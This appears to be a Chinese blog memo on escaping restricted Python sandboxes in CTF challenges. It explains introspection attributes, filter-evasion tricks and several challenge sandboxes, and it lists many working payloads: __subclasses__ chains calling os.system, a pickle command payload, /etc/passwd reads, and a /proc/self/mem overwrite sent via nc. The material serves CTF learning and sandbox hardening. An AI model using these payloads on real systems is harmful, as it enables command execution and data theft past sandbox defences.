Python 沙盒逃逸备忘

一、python 绕过沙盒中常见的函数、属性、模块解释(备忘)

1.func_globals

返回包含函数全局变量的字典的引用————————定义函数的模块的全局命名空间。
function.func_globals

>>> def foo(): pass
...
>>> foo.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', 'foo': <function     foo at 0x7f3a056c7938>, '__doc__': None, '__package__': None}

2.__getattribute__

被调用无条件地实现类的实例的属性访问。

object. getattribute(self, name)
1)self 必需的。类的实例,在调用时自动传递。
2)name 必需的。属性的名称。

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')

3.__dict__

模块对象有一个由dictionary对象实现的名称空间(这是由模块中定义的函数的func_globals属性引用的字典)。属性引用在本词典中被翻译为查找,例如,
m.x相当于m.dict [“x”]。

>>> ''.__class__.__dict__['upper']  
<method 'upper' of 'str' objects>

>>> ''.__class__.upper
<method 'upper' of 'str' objects>

4.dir()

将显示对象的属性的名称,__dict__是dir()的子集
dir ([object])

>>> dir(''.__class__)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__getslice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mod__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

5.__base__

每个类都有一个__base__属性能列出器基类
注意:__base____bases__的区别
他们都是返回当前类的基类,只不过__bases__返回的是一个元祖

>>> ''.__class__.__base__
<type 'basestring'>

>>> ''.__class__.__bases__
(<type 'basestring'>,)

6.__mro__

递归地显示父类一直到 object

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

7.__subclasses__()[]

获取子类

>>> ''.__class__.__mro__[2].__subclasses__()[40]
<type 'file'>

8.__import__

import 一个模块

__import__ (name)

>>> __import__('os')
<module 'os' from '/usr/lib/python2.7/os.pyc'>

9.__bulitin__

Python的内建模块,该内建模块中的功能可以直接使用,不用在其前添加内建模块前缀
在Python2.X版本中,内建模块被命名为__builtin__,而到了Python3.X版本中,却更名为builtins。

10.__builtins__

是对内建模块的一个引用
这个和__builtin__有一些区别

1)无论任何地方要想使用内建模块,都必须在该位置所处的作用域中导入__builtin__内建模块;而对于__builtins__却不用导入,它在任何模块都直接可见,可以把它当作内建模块直接使用

2)__builtins__虽是对内建模块的引用,但这个引用要看是使用__builtins__的模块是哪个模块

① 在主模块__main__中:
__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此

② 在__main__模块中:
__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身。它在任何地方都可见。此时__builtins__的类型是字典。

11.reload

重新加载之前导入的模块
reload (module)

>>> import sys

>>> reload(sys)
<module 'sys' (built-in)>

12.getattr

返回对象的命名属性的值。
getattr (object, name)
相当于 object.name
name 必须是一个字符串

>>> class A():
...     bar =1
...

>>> a = A()

>>> getattr(a,'bar')
1

13.__getattr__

当属性查找没有在通常的位置找到属性时调用(例如,它不是实例属性,也不是在类树中找到self)

14.__name__

这个值获得的只是一个字符串,不是模块的引用
要使用sys.modules[__name__]才获得的是模块的引用

>>> sys.modules['__main__']
<module '__main__' (built-in)>

15.func_code

返回表示已编译函数体的代码对象。

function.func_code

>>> def foo():
...     a=1
...

>>> foo.func_code
<code object foo at 0x7f3a0570d930, file "<stdin>", line 1>

注意:这个代码对象必须存在几个参数

co_argcount 这个参数是返回该函数的参数

>>> foo.func_code.co_argcount
0    

co_code 返回函数的字节码(可用dis.dis(字节码)将其转换为汇编格式)

>>> foo.func_code.co_code
'd\x01\x00}\x00\x00d\x00\x00S'

16.timeit 模块

这个模块是用来测试代码的执行时间的,能执行代码自然能执行命令
使用前需要导入timeit

使用:

timeit(命令,number=1)

>>> import timeit
>>> timeit.timeit("__import__('os').system('dir')",number=1)

其中命令是字符串的形式

17.platform 模块

由名字可以知道这个模块和平台有关,里面的函数主要是为了返回和平台的一些信息,但是我们还是可以调用
popen 这个函数执行命令

print platform.popen('命令',mode='r',bufsize= -1).read()

18.__globals__

function.__globals__ 等同于globals(),dir() 的结果是上面两个的键值
在fuzz 中常常和 __init__配合使用,__init__ 一般跟在类的后面,相当于实例化这个类

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

19.__call__

使实例能够像函数一样被调用
x.call 等同于 x()

>>> func.__call__
<method-wrapper '__call__' of function object at 0x7f3a056c7e60>

20.pickle

这个是python 的一个序列化的方法,用于将对象存储在字符串对象中,实现对象的持久化

基本的语法:
序列化:

import pickle
test=('this is a test',3.14,[1,2,3,"hh"])
p=pickle.dumps(test)

反序列化:

n=pickle.loads(p)

我们可以通过 pickle 的方式加载命令

pickle.loads(b"cos\nsystem\n(S'ls'\ntR.")

21.os/subprocess/commands

os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)

这里重点说一下subprocess 吧
1.subprocess.run()
Python 3.5中新增的函数。执行指定的命令,等待命令执行完成后返回一个包含执行结果的CompletedProcess类的实例。

2.subprocess.call()
执行指定的命令,返回命令执行状态,其功能类似于os.system(cmd)。

3.subprocess.check_call()
Python 2.5中新增的函数。 执行指定的命令,如果执行成功则返回状态码,否则抛出异常。其功能等价于subprocess.run(…, check=True)。

4.subprocess.check_output()
Python 2.7中新增的的函数。执行指定的命令,如果执行状态码为0则返回命令执行结果,否则抛出异常。

5.subprocess.getoutput(cmd)
接收字符串格式的命令,执行命令并返回执行结果,其功能类似于os.popen(cmd).read()和commands.getoutput(cmd)。

6.subprocess.getstatusoutput(cmd)
执行cmd命令,返回一个元组(命令执行状态,命令执行结果输出),其功能类似于commands.getstatusoutput()。

22.eval/exec/execfile

1.eval(expression):
返回python 表达式执行的结果

2.exec(source)
动态执行python代码。也就是说exec可以执行复杂的python代码,而不像eval函数那样只能计算一个表达式的值。exec函数的返回值永远为None。

3.execfile(filename)
执行一个文件的内容
文件是将被解析为python序列的类似于模块的文件

23.importlib模块

import importlib

importlib.import_module(module)

他可以代替import 非常好

二、什么是python 的沙箱逃逸

所谓的沙箱逃逸就是从一个被阉割和做了严格限制的python执行环境中获取到更高的权限,甚至getshell,这是我们的最终的目的,但是实现这个目标之前我们必须解决的就是如何绕过重重的waf去使用python执行命令

python 能执行命令或者存在执行命令功能的函数是一定的,但是他的存在形式是多样的,他过滤了这种形式我们就换一种形式表示,正所谓曲线救国

三、攻与防的战争

简单的梳理一下思路:

1.我们想直接引入执行命令的模块os等
遭遇过滤:

re.compile('import\s+(os|commands|subprocess|sys)')

2.我们不直接使用import 用__import__()取而代之
遭遇过滤:__import__(module)

3.我们不直接用__import__(module) 转换编码
__import__("pbzznaqf".decode('rot_13'))
遭遇过滤__import__

4.不用__import__行不行?当然可以,我们有内建函数直接调用
__bulitin__/__bulitins__
常见的一些危险的函数都是__builtin__里面的,我们可以直接用 eval() exec() execfile()
遭遇过滤:把__builtin__ 中的危险函数都del掉,看你怎么绕

5.reload() 函数重新加载完整的没有阉割的__builtin__
reload(__builtin__)
遭遇过滤:reload()也是一个内建函数,如果我们在__builtin__中把reload()也del掉呢?

6.imp模块也是一个可以引入东西的一个模块
import imp
imp.reload(__builtin__)
再次成功引入
遭遇过滤:看来还是没有从源头del干净,我们知道python 的模块其实都存放在sys.modules中,不要啥就删啥。

sys.modules['os']=None

这样就OK了

7.这回问题有点棘手,要知道如何应对还要仔细分析一下import的步骤
import 的步骤:

1)如果是 import A,检查 sys.modules 中是否已经有 A,如果有则不加载,如果没有则为 A 创建 module 对象,并加载 A
2)如果是 from A import B,先为 A 创建 module 对象,再解析A,从中寻找B并填充到 A 的 dict 中

那我们可以向更源头追溯
我们都知道任何的模块归根道理都是文件,只要文件还在,我们就一定有办法!
比如类unix 的系统中,os 模块的路径一般都是/usr/lib/python2.7/os.py,那我们就直接写这个

import sys

sys.modules['os'] = '/usr/lib/python2.7/os.py'

import os

遭遇过滤:我把你sys也一并del,让你用!哼

8.和上面一样的思路,文件还在我们就直接用文件,import 的本质就是把对应的模块文件执行一遍

execfile('/usr/lib/python2.7/os.py')

system('cat /etc/passwd')

遭遇过滤:execfile() 别用了

9.那我用文件读取函数读入文件,然后再exec() 也能实现一样的效果

遭遇过滤:不耐烦了,我也不过滤了,直接删文件

10.这样的话,我就想起了,没有编译器手写编译器的梗,这里完全可以用嘛。。。。
但是这样鲁莽地删除关键函数文件是很危险的,很容易出现莫名的依赖问题,不推荐使用

好家伙。。。。这一串攻防对决真的是非常的精彩了,淋漓尽致地展现了攻与防的较量

四、整理一些小trick

1.完整过滤整个匹配语句我们只要使用变量替换的方式绕过

a = open
print(a("/etc/passwd").read())

2.函数名后面加点空格换一行都能执行

print open
("/etc/passwd").read()

3.使用第三方库的执行命令的函数
如果程序中调用了第三方的库,恰好这个库有执行命令的函数,那么肯定是再好不过了

from numpy.distutils.exec_command import _exec_command as system
system("ls /")

4.使用别名

import os as o

5.字符串拼接

"l"+"s"
"func_global"+"s"

6.字符串编码或者其他操作
如果过滤的是键值对中的key(为了强调是字符串类型)
方法一:使用编码的转换

'X19pbXBvcnRfXw=='.decode('base64')

方法二:使用python的字符串操作

s = "emit"
s = s [::-1]
print a[s]

五、魔法方法

这节是基于之前我开始讲的那些基本的概念和语法的,如果不了解还是请往第一节看,这个很重要,因为这个大概就是曲线救国的精髓了

1.魔法方法简介

传说,Python 天生体内就拥有着王的印记,它们总是被双下划线包围,他们是面向对象的python的灵魂, 国难当头他们就被激发出来,曲线救国……

所谓曲线救国的“曲线”,就是对方封锁了从山下上半山腰营地的道路,那我们可以偷偷从山背后上山到山顶,然后从山顶下到半山腰的营地偷袭。

2.一切皆对象的py

我们看看python是怎么一切皆对象的

>>> type([])
<type 'list'>

>>> type(1)
<type 'int'>

>>> type(1.1)
<type 'float'>

>>> type('')
<type 'str'>

>>> type(())
<type 'tuple'>

>>> type({})
<type 'dict'>

这些类型都是对象,我现在就以 '' 为例

1)我们可以从一个对象实例向上追溯到他的类
''.__class__

>>> type(''.__class__)
<type 'type'>

2)我们从他的类向上追溯到他的基类,直至object根类

①多次使用__base__ 或者 __bases__

>>> ''.__class__.__base__
<type 'basestring'>

>>> ''.__class__.__base__.__base__
<type 'object'>

>>> ''.__class__.__bases__[0]
<type 'basestring'>

>>> ''.__class__.__bases__[0].__bases__[0]
<type 'object'>


>>> ''.__class__.__bases__
(<type 'basestring'>,)

>>> ''.__class__.__bases__.__class__
<type 'tuple'>

>>> ''.__class__.__bases__.__class__.__bases__[0]
<type 'object'>

②直接使用__mro__

>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)

>>> ''.__class__.__mro__[2]
<type 'object'>

3)我们从根类object向下回溯,使用 __subclasses__

>>> ''.__class__.__mro__[2]
<type 'object'>

>>> ''.__class__.__mro__[2].__subclasses__
<built-in method __subclasses__ of type object at 0x8f8740>

>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]

哇,这也太多了吧,我怎么知道我该选哪个??
别怕,我python本就是用来写脚本的,写一个循环遍历一下岂不是简简单单??

我这里就直接把bendawang 师傅文章中的代码拿过来

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in [].__class__.__base__.__subclasses__():
    try:
        if 'os' in item.__init__.__globals__:
            print cnt,item
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

这段代码的目的就是找到调用 os 模块的入口,当然我们只要把os 替换成sys 等其他模块也能得到对应的结果。

#!/usr/bin/env python
# encoding: utf-8

cnt=0
for item in "".__class__.__mro__[-1].__subclasses__():
    try:
        cnt2=0
        for i in item.__init__.__globals__:
            if 'eval' in item.__init__.__globals__[i]:
                print cnt,item,cnt2,i
            cnt2+=1
        cnt+=1
    except:
        print "error",cnt,item
        cnt+=1
        continue

这第二个脚本相当于就是跑了两层

这两个脚本的思路非常的好,赶紧搬过来收藏一下,以后作为参考hhh

4)简单的整理一下前辈们已经fuzz出来的一些结果:

[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')

[].__class__.__base__.__subclasses__()[76].__init__.__globals__['os'].system('ls')

"".__class__.__mro__[-1].__subclasses__()[60].__init__.__globals__['__builtins__']['eval']('_    _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[61].__init__.__globals__['__builtins__']['eval']('_    _import__("os").system("ls")')

"".__class__.__mro__[-1].__subclasses__()[40](filename).read()

"".__class__.__mro__[-1].__subclasses__()[29].__call__(eval,'os.system("ls")')

''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__('func_globals')['linecache'].__dict__['sys'].modules['os'].popen('ls').read()

六、内存破坏突破python沙盒

这个方法来源于 Plaid CTF 2014年的一道题__nightmares__
这道题的出题思路并不是web的单纯的绕过,而是涉及到了内存的破坏与利用
附上题目代码:

#!/usr/bin/python -u
'''
You may wish to refer to solutions to the pCTF 2013 "pyjail" problem if
you choose to attempt this problem, BUT IT WON'T HELP HAHAHA.
'''

from imp import acquire_lock
from threading import Thread
from sys import modules, stdin, stdout

# No more importing!
x = Thread(target = acquire_lock, args = ())
x.start()
x.join()
del x
del acquire_lock
del Thread

# No more modules!
for k, v in modules.iteritems():
    if v == None: continue
    if k == '__main__': continue
    v.__dict__.clear()

del k, v

__main__ = modules['__main__']
modules.clear()
del modules

# No more anything!
del __builtins__, __doc__, __file__, __name__, __package__

print >> stdout, "Get a shell. The flag is NOT in ./key, ./flag, etc."
while 1:
    exec 'print >> stdout, ' + stdin.readline() in {'stdout':stdout}

WP address :https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

七、一些简单的python 沙盒

下面列出一些python 的沙盒代码,给学习的人一些参考

题目一、

  ____                  
 |  _ \ _   _ _ __      
 | |_) | | | | '_ \     
 |  _ <| |_| | | | |    
 |_| \_\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!


>>>#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2018-04-09 23:30:58
# @Author  : Xu (you@example.org)
# @Link    : https://xuccc.github.io/
# @Version : $Id$

from sys import modules
from cpython import get_dict
from types import FunctionType

main  = modules['__main__'].__dict__
origin_builtins = main['__builtins__'].__dict__

def delete_type():
    type_dict = get_dict(type)
    del type_dict['__bases__']
    del type_dict['__subclasses__']

def delete_func_code():
    func_dict = get_dict(FunctionType)
    del func_dict['func_code']

def safe_import(__import__,whiteList):
    def importer(name,globals={},locals={},fromlist=[],level=-1):
        if name in whiteList:
            return __import__(name,globals,locals,fromlist,level)
        else:
            print "HAHA,[%s]  has been banned~" % name
    return importer

class ReadOnly(dict):
    """docstring for ReadOnlu"""
    def __delitem__(self,keys):
        raise ValueError(":(")        
    def pop(self,key,default=None):
        raise ValueError(":(")        
    def popitem(self):
        raise ValueError(":(")        
    def setdefault(self,key,value):
        raise ValueError(":(")        
    def __setitem__(self,key,value):
        raise ValueError(":(")        
    def __setattr__(self, name, value):
        raise ValueError(":(")
    def update(self,dict,**kwargs):
        raise ValueError(":(")        

def builtins_clear():
    whiteList = "raw_input  SyntaxError   ValueError  NameError  Exception __import__".split(" ")
    for mod in __builtins__.__dict__.keys():
        if mod not in whiteList:
            del __builtins__.__dict__[mod]

def input_filter(string):
    ban = "exec eval pickle os subprocess input sys ls cat".split(" ")
    for i in ban:
        if i in string.lower():
            print "{} has been banned!".format(i)
            return ""
    return string

# delete_type();
del delete_type
delete_func_code();del delete_func_code
builtins_clear();del builtins_clear


whiteMod = []
origin_builtins['__import__'] = safe_import(__import__,whiteMod)
safe_builtins = ReadOnly(origin_builtins);del ReadOnly
main['__builtins__'] = safe_builtins;del safe_builtins

del get_dict,modules,origin_builtins,safe_import,whiteMod,main,FunctionType
del __builtins__, __doc__, __file__, __name__, __package__

print """
  ____                  
 |  _ \ _   _ _ __      
 | |_) | | | | '_ \     
 |  _ <| |_| | | | |    
 |_| \_\\__,_|_| |_|    


Escape from the dark house built with python :)

Try to getshell then find the flag!

"""

while 1:
    inp = raw_input('>>>')
    cmd = input_filter(inp)
    try:
        exec cmd 
    except NameError, e:
        print "wow something lose!We can\'t find it !  D:"
    except SyntaxError,e:
        print "Noob! Synax Wrong! :("
    except Exception,e:
        print "unknow error,try again  :>"

>>>Traceback (most recent call last):
  File "/home/ctf/sandbox.py", line 92, in <module>
    inp = raw_input('>>>')
EOFError: EOF when reading a line

补充:这道题就是最近的异常比赛的题目源码,我做题 下载了下来,出题者本来的意图应该就是让我们使用内存攻击的pwn 的手法,但是还是被我们web选手饶了过去
下面给出pwn的一种解法:

# look up the addresses
objdump -R python.out | grep -E 'fopen|system' 

# copy 8 bytes from the system address to the fopen64 address, and get flag
echo "(lambda r, w: r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('grep ciscn -r /home/ctf/')) (().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'), ().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','w',0))" | nc 117.78.43.163 31836

接下来是web解(来源于梅子酒师傅)

s = "func_global"+"s"
d = "sy"+"s"
b = "o"+"s"
c = "l"+"s"

print(''.__class__.__mro__[2].__subclasses__()[59].__init__.__getattribute__(s)['linecache'].__dict__[d].modules[b].popen(c).read())

题目二

#!/usr/bin/env python
from future import print_function

print("Welcome to my Python sandbox! Enter commands below!")

banned = [ 
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]

targets = builtins.dict.keys() 
targets.remove('raw_input') 
targets.remove('print') 
for x in targets: 
    del builtins.dict[x]

while 1: 
    print(">>>", end=' ')
    data = raw_input()

    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data

题目三

#!/usr/bin/env python
from re import findall
def make_secure():
    UNSAFE = ['open',
              'file',
              'execfile',
              'compile',
              'reload',
              '__import__',
              'eval',
              'input']
    for func in UNSAFE:
        del __builtins__.__dict__[func]

# Remove dangerous builtins
make_secure()
print 'Go Ahead, Expoit me >;D'
while True:
    try:
        # Read user input until the first whitespace character
        inp = findall('\S+', raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec 'a=' + inp
        print 'Return Value:', a
    except Exception, e:
    print 'Exception:', e

参考链接:
http://www.bendawang.site/2018/03/01/%E5%85%B3%E4%BA%8EPython-sec%E7%9A%84%E4%B8%80%E4%BA%9B%E6%80%BB%E7%BB%93/

http://www.0aa.me/index.php/archives/123/

https://xz.aliyun.com/t/52

https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/

https://blog.csdn.net/qq_35078631/article/details/78504415

文章目录
  1. 1. 一、python 绕过沙盒中常见的函数、属性、模块解释(备忘)
    1. 1.1. 1.func_globals
    2. 1.2. 2.__getattribute__
    3. 1.3. 3.__dict__
    4. 1.4. 4.dir()
    5. 1.5. 5.__base__
    6. 1.6. 6.__mro__
    7. 1.7. 7.__subclasses__()[]
    8. 1.8. 8.__import__
    9. 1.9. 9.__bulitin__
    10. 1.10. 10.__builtins__
    11. 1.11. 11.reload
    12. 1.12. 12.getattr
    13. 1.13. 13.__getattr__
    14. 1.14. 14.__name__
    15. 1.15. 15.func_code
    16. 1.16. 16.timeit 模块
    17. 1.17. 17.platform 模块
    18. 1.18. 18.__globals__
    19. 1.19. 19.__call__
    20. 1.20. 20.pickle
    21. 1.21. 21.os/subprocess/commands
    22. 1.22. 22.eval/exec/execfile
    23. 1.23. 23.importlib模块
  2. 2. 二、什么是python 的沙箱逃逸
  3. 3. 三、攻与防的战争
  4. 4. 四、整理一些小trick
  5. 5. 五、魔法方法
    1. 5.1. 1.魔法方法简介
      1. 5.1.1. 2.一切皆对象的py
  6. 6. 六、内存破坏突破python沙盒
  7. 7. 七、一些简单的python 沙盒
    1. 7.1. 题目一、
    2. 7.2. 题目二
    3. 7.3. 题目三
|